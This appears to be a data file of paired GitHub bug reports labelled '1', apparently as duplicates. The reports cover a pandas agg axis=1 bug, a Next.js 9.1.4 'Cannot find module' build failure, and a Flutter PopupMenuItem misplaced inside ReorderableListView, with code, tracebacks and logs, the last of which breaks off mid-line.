<span class="pl-c1">0</span> <span class="pl-v">NaN</span> <span class="pl-c1">1</span> <span class="pl-c1">7.0</span> <span class="pl-s1">dtype</span>: <span class="pl-s1">float64</span></pre></div> <p dir="auto">The <code class="notranslate">NaN</code> in the last example should be 2.0.</p> <p dir="auto">Also, operation using the builtin <code class="notranslate">sum</code> in <code class="notranslate">agg</code> with <code class="notranslate">axis=1</code> are very slow:</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="&gt;&gt;&gt; n = 1_000 &gt;&gt;&gt; df = pd.DataFrame({'a': range(n), 'b': range(n)}) &gt;&gt;&gt; %timeit df.agg(sum, axis=1) 16.5 ms ± 25.5 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) &gt;&gt;&gt; %timeit df.T.agg(sum) # correct result *and* faster 312 µs ± 3.17 µs per loop (mean ± std. dev. of 7 runs, 1000 loops each)"><pre class="notranslate"><span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">n</span> <span class="pl-c1">=</span> <span class="pl-c1">1_000</span> <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span> <span class="pl-c1">=</span> <span class="pl-s1">pd</span>.<span class="pl-v">DataFrame</span>({<span class="pl-s">'a'</span>: <span class="pl-en">range</span>(<span class="pl-s1">n</span>), <span class="pl-s">'b'</span>: <span class="pl-en">range</span>(<span class="pl-s1">n</span>)}) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-c1">%</span><span class="pl-s1">timeit</span> <span class="pl-s1">df</span>.<span class="pl-en">agg</span>(<span class="pl-s1">sum</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">1</span>) <span class="pl-c1">16.5</span> <span class="pl-s1">ms</span> ± <span class="pl-c1">25.5</span> <span class="pl-s1">µs</span> <span class="pl-s1">per</span> <span class="pl-en">loop</span> (<span class="pl-s1">mean</span> ± <span class="pl-s1">std</span>. <span class="pl-s1">dev</span>. <span class="pl-s1">of</span> <span class="pl-c1">7</span> <span class="pl-s1">runs</span>, <span class="pl-c1">100</span> <span class="pl-s1">loops</span> <span class="pl-s1">each</span>) <span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-c1">%</span><span class="pl-s1">timeit</span> <span class="pl-s1">df</span>.<span class="pl-v">T</span>.<span class="pl-en">agg</span>(<span class="pl-s1">sum</span>) <span class="pl-c"># correct result *and* faster</span> <span class="pl-c1">312</span> <span class="pl-s1">µs</span> ± <span class="pl-c1">3.17</span> <span class="pl-s1">µs</span> <span class="pl-s1">per</span> <span class="pl-en">loop</span> (<span class="pl-s1">mean</span> ± <span class="pl-s1">std</span>. <span class="pl-s1">dev</span>. <span class="pl-s1">of</span> <span class="pl-c1">7</span> <span class="pl-s1">runs</span>, <span class="pl-c1">1000</span> <span class="pl-s1">loops</span> <span class="pl-s1">each</span>)</pre></div> <h4 dir="auto">Problem description</h4> <p dir="auto">Currently, <code class="notranslate">df.agg(func, axis=1)</code> defers to <code class="notranslate">df.apply(func, axis=1)</code>. This is not done for <code class="notranslate">axis=0</code>, and the operation may therefore give unexpected results and slow the operation down (because <code class="notranslate">df.apply</code> can be very slow).</p> <h4 dir="auto">Expected Output</h4> <p dir="auto">The expected output is:</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="&gt;&gt;&gt; df.agg(sum, axis=1) 0 2.0 1 7.0 dtype: float64"><pre class="notranslate"><span class="pl-c1">&gt;&gt;</span><span class="pl-c1">&gt;</span> <span class="pl-s1">df</span>.<span class="pl-en">agg</span>(<span class="pl-s1">sum</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">1</span>) <span class="pl-c1">0</span> <span class="pl-c1">2.0</span> <span class="pl-c1">1</span> <span class="pl-c1">7.0</span> <span class="pl-s1">dtype</span>: <span class="pl-s1">float64</span></pre></div> <h4 dir="auto">Solution proposal</h4> <p dir="auto">I'm thinking about putting in <code class="notranslate">df.T.agg(func, axis=0)</code> rather than <code class="notranslate">df.apply(func, axis=1)</code> in a few strategic places. This should ensure both getting correct results and faster operations. will report back if this succeeds.</p>
<h4 dir="auto">Code Sample</h4> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="import numpy import pandas numpy.random.seed(1234) frame = pandas.DataFrame( data=numpy.random.random((5, 3)) ) print( frame ) # Works print( frame.agg(['mean', 'std']) ) # Expected output print( frame.transpose().agg(['mean', 'std']).transpose() ) # Does not work as expected print( frame.agg(['mean', 'std'], axis=1) ) "><pre class="notranslate"><span class="pl-k">import</span> <span class="pl-s1">numpy</span> <span class="pl-k">import</span> <span class="pl-s1">pandas</span> <span class="pl-s1">numpy</span>.<span class="pl-s1">random</span>.<span class="pl-en">seed</span>(<span class="pl-c1">1234</span>) <span class="pl-s1">frame</span> <span class="pl-c1">=</span> <span class="pl-s1">pandas</span>.<span class="pl-v">DataFrame</span>( <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">numpy</span>.<span class="pl-s1">random</span>.<span class="pl-en">random</span>((<span class="pl-c1">5</span>, <span class="pl-c1">3</span>)) ) <span class="pl-en">print</span>( <span class="pl-s1">frame</span> ) <span class="pl-c"># Works</span> <span class="pl-en">print</span>( <span class="pl-s1">frame</span>.<span class="pl-en">agg</span>([<span class="pl-s">'mean'</span>, <span class="pl-s">'std'</span>]) ) <span class="pl-c"># Expected output</span> <span class="pl-en">print</span>( <span class="pl-s1">frame</span>.<span class="pl-en">transpose</span>().<span class="pl-en">agg</span>([<span class="pl-s">'mean'</span>, <span class="pl-s">'std'</span>]).<span class="pl-en">transpose</span>() ) <span class="pl-c"># Does not work as expected</span> <span class="pl-en">print</span>( <span class="pl-s1">frame</span>.<span class="pl-en">agg</span>([<span class="pl-s">'mean'</span>, <span class="pl-s">'std'</span>], <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">1</span>) )</pre></div> <h4 dir="auto">Problem description</h4> <p dir="auto">Calling the <code class="notranslate">agg</code> method on a frame with <code class="notranslate">axis=1</code> raises a <code class="notranslate">TypeError</code>:</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" Traceback (most recent call last): File &quot;/home/lafras/tmp/buggy.py&quot;, line 13, in &lt;module&gt; frame.agg(['mean', 'std'], axis=1) File &quot;/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py&quot;, line 4154, in aggregate return self.apply(func, axis=axis, args=args, **kwargs) File &quot;/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py&quot;, line 4262, in apply ignore_failures=ignore_failures) File &quot;/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py&quot;, line 4358, in _apply_standard results[i] = func(v) TypeError: (&quot;'list' object is not callable&quot;, 'occurred at index 0') "><pre class="notranslate"><span class="pl-v">Traceback</span> (<span class="pl-s1">most</span> <span class="pl-s1">recent</span> <span class="pl-s1">call</span> <span class="pl-s1">last</span>): <span class="pl-v">File</span> <span class="pl-s">"/home/lafras/tmp/buggy.py"</span>, <span class="pl-s1">line</span> <span class="pl-c1">13</span>, <span class="pl-s1">in</span> <span class="pl-c1">&lt;</span><span class="pl-s1">module</span><span class="pl-c1">&gt;</span> <span class="pl-s1">frame</span>.<span class="pl-en">agg</span>([<span class="pl-s">'mean'</span>, <span class="pl-s">'std'</span>], <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-c1">1</span>) <span class="pl-v">File</span> <span class="pl-s">"/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py"</span>, <span class="pl-s1">line</span> <span class="pl-c1">4154</span>, <span class="pl-s1">in</span> <span class="pl-s1">aggregate</span> <span class="pl-k">return</span> <span class="pl-s1">self</span>.<span class="pl-en">apply</span>(<span class="pl-s1">func</span>, <span class="pl-s1">axis</span><span class="pl-c1">=</span><span class="pl-s1">axis</span>, <span class="pl-s1">args</span><span class="pl-c1">=</span><span class="pl-s1">args</span>, <span class="pl-c1">**</span><span class="pl-s1">kwargs</span>) <span class="pl-v">File</span> <span class="pl-s">"/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py"</span>, <span class="pl-s1">line</span> <span class="pl-c1">4262</span>, <span class="pl-s1">in</span> <span class="pl-s1">apply</span> <span class="pl-s1">ignore_failures</span><span class="pl-c1">=</span><span class="pl-s1">ignore_failures</span>) <span class="pl-v">File</span> <span class="pl-s">"/home/lafras/.local/lib/python3.5/site-packages/pandas/core/frame.py"</span>, <span class="pl-s1">line</span> <span class="pl-c1">4358</span>, <span class="pl-s1">in</span> <span class="pl-s1">_apply_standard</span> <span class="pl-s1">results</span>[<span class="pl-s1">i</span>] <span class="pl-c1">=</span> <span class="pl-en">func</span>(<span class="pl-s1">v</span>) <span class="pl-v">TypeError</span>: (<span class="pl-s">"'list' object is not callable"</span>, <span class="pl-s">'occurred at index 0'</span>)</pre></div> <h4 dir="auto">Expected Output</h4> <p dir="auto"><code class="notranslate">frame.agg(['mean', 'std'], axis=1)</code> should produce this:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" mean std 0 0.417119 0.216033 1 0.612642 0.294504 2 0.678825 0.357107 3 0.578248 0.267557 4 0.588805 0.189838"><pre class="notranslate"><code class="notranslate"> mean std 0 0.417119 0.216033 1 0.612642 0.294504 2 0.678825 0.357107 3 0.578248 0.267557 4 0.588805 0.189838 </code></pre></div> <h4 dir="auto">Output of <code class="notranslate">pd.show_versions()</code></h4> <details> INSTALLED VERSIONS ------------------ commit: None python: 3.5.2.final.0 python-bits: 64 OS: Linux OS-release: 4.4.0-79-generic machine: x86_64 processor: x86_64 byteorder: little LC_ALL: None LANG: en_ZA.UTF-8 LOCALE: en_ZA.UTF-8 <p dir="auto">pandas: 0.20.2<br> pytest: 3.0.4<br> pip: 9.0.1<br> setuptools: 36.0.1<br> Cython: 0.25.2<br> numpy: 1.13.0<br> scipy: 0.19.0<br> xarray: 0.8.2<br> IPython: 6.1.0<br> sphinx: None<br> patsy: 0.4.1<br> dateutil: 2.6.0<br> pytz: 2017.2<br> blosc: None<br> bottleneck: None<br> tables: 3.3.0<br> numexpr: 2.6.1<br> feather: None<br> matplotlib: 2.0.0<br> openpyxl: None<br> xlrd: 1.0.0<br> xlwt: None<br> xlsxwriter: None<br> lxml: None<br> bs4: 4.4.1<br> html5lib: 0.9999999<br> sqlalchemy: None<br> pymysql: None<br> psycopg2: None<br> jinja2: 2.9.5<br> s3fs: 0.0.7<br> pandas_gbq: None<br> pandas_datareader: 0.2.1</p> </details>
1
<h1 dir="auto">NPM run dev throws an error</h1> <h2 dir="auto">Example name</h2> <p dir="auto"><strong>with-apollo-and-redux</strong></p> <h2 dir="auto">Describe the bug</h2> <p dir="auto">According to <a href="https://github.com/zeit/next.js/tree/canary/examples/with-apollo-and-redux">this example repo</a>, after using <code class="notranslate">npx</code> and <code class="notranslate">npm install</code>, cant run <code class="notranslate">npm run dev</code> and it throws this error:<br> <code class="notranslate">[ error ] ./node_modules/next/dist/client/dev/amp-dev.js Error: [BABEL] ...\with-apollo-and-redux-app\node_modules\next\dist\client\dev\amp-dev.js: Cannot find module './src/data'</code></p> <p dir="auto"><code class="notranslate"> Require stack: ...\with-apollo-and-redux-app\node_modules\core-js-compat\helpers.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\core-js-compat\get-modules-list-for-target-version.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\@babel\preset-env\lib\polyfills\corejs3\usage-plugin.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\@babel\preset-env\lib\index.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\build\babel\preset.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\build\webpack\loaders\next-babel-loader.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\loader-runner\lib\loadLoader.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\loader-runner\lib\LoaderRunner.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\webpack\lib\NormalModule.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\webpack\lib\NormalModuleFactory.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\webpack\lib\Compiler.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\webpack\lib\webpack.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\server\hot-reloader.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\server\next-dev-server.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\server\next.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\server\lib\start-server.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\cli\next-dev.js</code><br> <code class="notranslate">...\with-apollo-and-redux-app\node_modules\next\dist\bin\next</code></p> <p dir="auto">But in [email protected] there is no issue and its working well.</p> <h2 dir="auto">To Reproduce</h2> <p dir="auto">Steps to reproduce the behavior, please provide code snippets or a repository:</p> <ol dir="auto"> <li>Run <code class="notranslate">npx create-next-app --example with-apollo-and-redux with-apollo-and-redux-app</code></li> <li>Run <code class="notranslate">cd with-apollo-and-redux-app</code></li> <li>Run <code class="notranslate">npm install</code></li> <li>Run <code class="notranslate">npm run dev</code></li> <li>The error shown in command prompt</li> </ol> <h2 dir="auto">Expected behavior</h2> <p dir="auto">npm dev running on <a href="http://localhost:3000" rel="nofollow">http://localhost:3000</a> ....</p> <h2 dir="auto">System information</h2> <ul dir="auto"> <li>OS: Windows 10</li> <li>Version of Next.js: 9.1.4</li> </ul>
<h1 dir="auto">Bug report</h1> <h2 dir="auto">Describe the bug</h2> <p dir="auto">I have installed version <code class="notranslate">9.1.4</code> of <code class="notranslate">next</code> and now my Docker images don't build anymore! I am getting the following error.</p> <p dir="auto">However when I run the <code class="notranslate">next build</code> command from my own terminal it works fine so it is only happening for the Docker setup.</p> <h2 dir="auto">Error</h2> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="... &gt; [email protected] build /usr/src/app &gt; next build Creating an optimized production build... Attention: Next.js now collects completely anonymous telemetry regarding usage. This information is used to shape Next.js' roadmap and prioritize features. You can learn more, including how to opt-out if you'd not like to participate in this anonymous program, by visiting the following URL: https://nextjs.org/telemetry Failed to compile. ./node_modules/next/dist/client/next.js Error: Cannot find module './src/data' Require stack: - /usr/src/app/node_modules/core-js-compat/helpers.js - /usr/src/app/node_modules/core-js-compat/get-modules-list-for-target-version.js - /usr/src/app/node_modules/@babel/preset-env/lib/polyfills/corejs3/usage-plugin.js - /usr/src/app/node_modules/@babel/preset-env/lib/index.js - /usr/src/app/node_modules/@babel/core/lib/config/files/plugins.js - /usr/src/app/node_modules/@babel/core/lib/config/files/index.js - /usr/src/app/node_modules/@babel/core/lib/index.js - /usr/src/app/node_modules/babel-loader/lib/index.js - /usr/src/app/node_modules/next/dist/build/webpack/loaders/next-babel-loader.js - /usr/src/app/node_modules/loader-runner/lib/loadLoader.js - /usr/src/app/node_modules/loader-runner/lib/LoaderRunner.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/NormalModule.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/NormalModuleFactory.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/Compiler.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/webpack.js - /usr/src/app/node_modules/next/dist/build/compiler.js - /usr/src/app/node_modules/next/dist/build/index.js - /usr/src/app/node_modules/next/dist/cli/next-build.js - /usr/src/app/node_modules/next/dist/bin/next &gt; Build error occurred Error: &gt; Build failed because of webpack errors at build (/usr/src/app/node_modules/next/dist/build/index.js:9:900) npm ERR! code ELIFECYCLE npm ERR! errno 1 npm ERR! [email protected] build: `next build` npm ERR! Exit status 1 npm ERR! npm ERR! Failed at the [email protected] build script. npm ERR! This is probably not a problem with npm. There is likely additional logging output above. npm ERR! A complete log of this run can be found in: npm ERR! /root/.npm/_logs/2019-12-02T19_02_50_506Z-debug.log ERROR: Service 'frontend' failed to build: The command '/bin/sh -c npm run build' returned a non-zero code: 1 "><pre class="notranslate"><code class="notranslate">... &gt; [email protected] build /usr/src/app &gt; next build Creating an optimized production build... Attention: Next.js now collects completely anonymous telemetry regarding usage. This information is used to shape Next.js' roadmap and prioritize features. You can learn more, including how to opt-out if you'd not like to participate in this anonymous program, by visiting the following URL: https://nextjs.org/telemetry Failed to compile. ./node_modules/next/dist/client/next.js Error: Cannot find module './src/data' Require stack: - /usr/src/app/node_modules/core-js-compat/helpers.js - /usr/src/app/node_modules/core-js-compat/get-modules-list-for-target-version.js - /usr/src/app/node_modules/@babel/preset-env/lib/polyfills/corejs3/usage-plugin.js - /usr/src/app/node_modules/@babel/preset-env/lib/index.js - /usr/src/app/node_modules/@babel/core/lib/config/files/plugins.js - /usr/src/app/node_modules/@babel/core/lib/config/files/index.js - /usr/src/app/node_modules/@babel/core/lib/index.js - /usr/src/app/node_modules/babel-loader/lib/index.js - /usr/src/app/node_modules/next/dist/build/webpack/loaders/next-babel-loader.js - /usr/src/app/node_modules/loader-runner/lib/loadLoader.js - /usr/src/app/node_modules/loader-runner/lib/LoaderRunner.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/NormalModule.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/NormalModuleFactory.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/Compiler.js - /usr/src/app/node_modules/next/node_modules/webpack/lib/webpack.js - /usr/src/app/node_modules/next/dist/build/compiler.js - /usr/src/app/node_modules/next/dist/build/index.js - /usr/src/app/node_modules/next/dist/cli/next-build.js - /usr/src/app/node_modules/next/dist/bin/next &gt; Build error occurred Error: &gt; Build failed because of webpack errors at build (/usr/src/app/node_modules/next/dist/build/index.js:9:900) npm ERR! code ELIFECYCLE npm ERR! errno 1 npm ERR! [email protected] build: `next build` npm ERR! Exit status 1 npm ERR! npm ERR! Failed at the [email protected] build script. npm ERR! This is probably not a problem with npm. There is likely additional logging output above. npm ERR! A complete log of this run can be found in: npm ERR! /root/.npm/_logs/2019-12-02T19_02_50_506Z-debug.log ERROR: Service 'frontend' failed to build: The command '/bin/sh -c npm run build' returned a non-zero code: 1 </code></pre></div> <h2 dir="auto">System information</h2> <ul dir="auto"> <li>OS: Windows 10 Home</li> <li>Version of Next.js: 9.1.4</li> </ul>
1
<p dir="auto">According to my tests, <code class="notranslate">PopupMenuItem</code> gets misplaced when inside a <code class="notranslate">ReorderableListView</code> &gt; <code class="notranslate">ListTile</code> (triggered via a <code class="notranslate">PopupMenuButton</code>).</p> <p dir="auto"><a href="https://gist.github.com/ffeu/3bb8f9a2bcc1202a616ebb802b47f516">Sample code to quickly get this tested is here</a>.</p> <p dir="auto">Basically it puts items inside a <code class="notranslate">ListView</code> or <code class="notranslate">ReorderableListView</code>, you can toogle and see the different behavior. To make it easier to see, I'm adding screenshots of this test.</p> <h1 dir="auto">example inside a ListView</h1> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/13699202/49656725-2e296980-fa25-11e8-8227-da5d0336207b.png"><img src="https://user-images.githubusercontent.com/13699202/49656725-2e296980-fa25-11e8-8227-da5d0336207b.png" alt="image" style="max-width: 100%;"></a></p> <h1 dir="auto">example inside a ReorderableListView</h1> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/13699202/49656743-3aadc200-fa25-11e8-823c-9e7e7afb140c.png"><img src="https://user-images.githubusercontent.com/13699202/49656743-3aadc200-fa25-11e8-823c-9e7e7afb140c.png" alt="image" style="max-width: 100%;"></a></p> <h3 dir="auto">flutter doctor -v</h3> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="[✓] Flutter (Channel stable, v1.0.0, on Mac OS X 10.13.6 17G65, locale en-BR) • Flutter version 1.0.0 at /Users/feu/Projects/flutter • Framework revision 5391447fae (8 days ago), 2018-11-29 19:41:26 -0800 • Engine revision 7375a0f414 • Dart version 2.1.0 (build 2.1.0-dev.9.4 f9ebf21297) [✓] Android toolchain - develop for Android devices (Android SDK 27.0.3) • Android SDK at /Users/feu/Library/Android/sdk • Android NDK location not configured (optional; useful for native profiling support) • Platform android-27, build-tools 27.0.3 • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1024-b01) • All Android licenses accepted. [✓] iOS toolchain - develop for iOS devices (Xcode 10.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Xcode 10.1, Build version 10B61 • ios-deploy 1.9.4 • CocoaPods version 1.5.3 [✓] Android Studio (version 3.1) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin version 27.0.1 • Dart plugin version 173.4700 • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1024-b01) [✓] VS Code (version 1.29.1) • VS Code at /Applications/Visual Studio Code.app/Contents • Flutter extension version 2.21.1 [✓] Connected device (1 available) • iPhone XR • B26EA355-B1DB-4A75-BBEA-47DD2F4B0AA8 • ios • iOS 12.1 (simulator) • No issues found!"><pre class="notranslate"><code class="notranslate">[✓] Flutter (Channel stable, v1.0.0, on Mac OS X 10.13.6 17G65, locale en-BR) • Flutter version 1.0.0 at /Users/feu/Projects/flutter • Framework revision 5391447fae (8 days ago), 2018-11-29 19:41:26 -0800 • Engine revision 7375a0f414 • Dart version 2.1.0 (build 2.1.0-dev.9.4 f9ebf21297) [✓] Android toolchain - develop for Android devices (Android SDK 27.0.3) • Android SDK at /Users/feu/Library/Android/sdk • Android NDK location not configured (optional; useful for native profiling support) • Platform android-27, build-tools 27.0.3 • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1024-b01) • All Android licenses accepted. [✓] iOS toolchain - develop for iOS devices (Xcode 10.1) • Xcode at /Applications/Xcode.app/Contents/Developer • Xcode 10.1, Build version 10B61 • ios-deploy 1.9.4 • CocoaPods version 1.5.3 [✓] Android Studio (version 3.1) • Android Studio at /Applications/Android Studio.app/Contents • Flutter plugin version 27.0.1 • Dart plugin version 173.4700 • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1024-b01) [✓] VS Code (version 1.29.1) • VS Code at /Applications/Visual Studio Code.app/Contents • Flutter extension version 2.21.1 [✓] Connected device (1 available) • iPhone XR • B26EA355-B1DB-4A75-BBEA-47DD2F4B0AA8 • ios • iOS 12.1 (simulator) • No issues found! </code></pre></div>
<h2 dir="auto">Steps to Reproduce</h2> <h3 dir="auto">ReorderableListView</h3> <p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/18512224/70837242-3f107600-1e03-11ea-8201-ab25890210d4.gif"><img src="https://user-images.githubusercontent.com/18512224/70837242-3f107600-1e03-11ea-8201-ab25890210d4.gif" alt="ReorderableListView Kopie" data-animated-image="" style="max-width: 100%;"></a></p> <ol dir="auto"> <li>Create a ReorderableListView with simple ListView and trailing IconButtons (as shown in the gif).</li> <li>Add PopupMenuButton to IconButton</li> <li>Tap on the IconButton</li> </ol> <p dir="auto"><strong>Target Platform: Android / iOS / Web</strong><br> <strong>Target OS version/browser: macOS Catalina / Chrome</strong><br> <strong>Devices: iOS Simulator (iPhone 11 Pro Max) / Android 10 (Pixel 3 XL)</strong></p> <h2 dir="auto">Logs</h2> <details> <summary>Logs</summary> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content=" [ +23 ms] executing: [/Users/rebar/Documents/flutter/] git -c log.showSignature=false log -n 1 --pretty=format:%H [ +38 ms] Exit code 0 from: git -c log.showSignature=false log -n 1 --pretty=format:%H [ ] e58dc16d7bec7199190f1408667e24e38328cc3b [ ] executing: [/Users/rebar/Documents/flutter/] git describe --match v*.*.* --first-parent --long --tags [ +19 ms] Exit code 0 from: git describe --match v*.*.* --first-parent --long --tags [ ] v1.13.0-59-ge58dc16d7 [ +10 ms] executing: [/Users/rebar/Documents/flutter/] git rev-parse --abbrev-ref --symbolic @{u} [ +6 ms] Exit code 0 from: git rev-parse --abbrev-ref --symbolic @{u} [ ] origin/master [ ] executing: [/Users/rebar/Documents/flutter/] git ls-remote --get-url origin [ +5 ms] Exit code 0 from: git ls-remote --get-url origin [ ] https://github.com/flutter/flutter.git [ +53 ms] executing: [/Users/rebar/Documents/flutter/] git rev-parse --abbrev-ref HEAD [ +5 ms] Exit code 0 from: git rev-parse --abbrev-ref HEAD [ ] master [ +5 ms] executing: sw_vers -productName [ +15 ms] Exit code 0 from: sw_vers -productName [ ] Mac OS X [ ] executing: sw_vers -productVersion [ +16 ms] Exit code 0 from: sw_vers -productVersion [ ] 10.15.1 [ ] executing: sw_vers -buildVersion [ +17 ms] Exit code 0 from: sw_vers -buildVersion [ ] 19B88 [ +31 ms] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update. [ ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterWebSdk' is not required, skipping update. [ +4 ms] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update. [ +30 ms] executing: /Users/rebar/Library/Android/sdk/platform-tools/adb devices -l [ +10 ms] Exit code 0 from: /Users/rebar/Library/Android/sdk/platform-tools/adb devices -l [ ] List of devices attached [ +20 ms] executing: /Users/rebar/Documents/flutter/bin/cache/artifacts/libimobiledevice/idevice_id -h [ +61 ms] executing: /usr/bin/xcode-select --print-path [ +6 ms] Exit code 0 from: /usr/bin/xcode-select --print-path [ ] /Applications/Xcode.app/Contents/Developer [ +1 ms] executing: /usr/bin/xcodebuild -version [ +139 ms] Exit code 0 from: /usr/bin/xcodebuild -version [ +2 ms] Xcode 11.2.1 Build version 11B500 [ +3 ms] /usr/bin/xcrun simctl list --json devices [ +138 ms] Artifact Instance of 'AndroidMavenArtifacts' is not required, skipping update. [ ] Artifact Instance of 'AndroidGenSnapshotArtifacts' is not required, skipping update. [ +1 ms] Artifact Instance of 'AndroidInternalBuildArtifacts' is not required, skipping update. [ ] Artifact Instance of 'IOSEngineArtifacts' is not required, skipping update. [ +3 ms] Artifact Instance of 'WindowsEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxEngineArtifacts' is not required, skipping update. [ ] Artifact Instance of 'LinuxFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'MacOSFuchsiaSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerSDKArtifacts' is not required, skipping update. [ ] Artifact Instance of 'FlutterRunnerDebugSymbols' is not required, skipping update. [ +304 ms] Generating /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/android/app/src/main/java/io/f lutter/plugins/GeneratedPluginRegistrant.java ⣽[ +41 ms] executing: [/Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj/] /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj -target Runner -showBuildSettings [ ] executing: [/Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj/] /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodeproj -target Runner -showBuildSettings [ +7 ms] Unexpected failure to get the build settings: ProcessException: No such file or directory Command: /usr/bin/xcodebuild -project /Users/rebar/Documents/telexiom/LUITS_App/LUITS_Web/luitsapp/ios/Runner.xcodep roj -target Runner -showBuildSettings. [ +58 ms] Launching lib/main.dart on Chrome in debug mode... [ ] Building application for the web... [+9481 ms] Starting daemon... [ +234 ms] Initializing inputs [ +13 ms] Reading cached asset graph... [ +412 ms] Reading cached asset graph completed, took 409ms [ +362 ms] Checking for updates since last build... [+1135 ms] Checking for updates since last build completed, took 1.1s [ +13 ms] Initializing inputs [ +3 ms] Reading cached asset graph... [ ] Reading cached asset graph completed, took 409ms [ ] Checking for updates since last build... [ ] Checking for updates since last build completed, took 1.1s [+1422 ms] About to build [web]... [ +5 ms] Running build... [ +231 ms] Running build completed, took 113ms [ +1 ms] Caching finalized dependency graph... [ +18 ms] Caching finalized dependency graph completed, took 157ms [ +5 ms] Succeeded after 279ms with 0 outputs (0 actions) [ +11 ms] Building application for the web... (completed in 13,3s) [ ] Attempting to connect to browser instance.. [+3163 ms] Debug service listening on ws://127.0.0.1:49553/6IkQLjUWMAc= [ +350 ms] Failed to load asset at path: packages/build_web_compilers/src/dev_compil er/dart_sdk.js. Status code: 404 Headers: { &quot;date&quot;: &quot;Mon, 09 Dec 2019 00:51:50 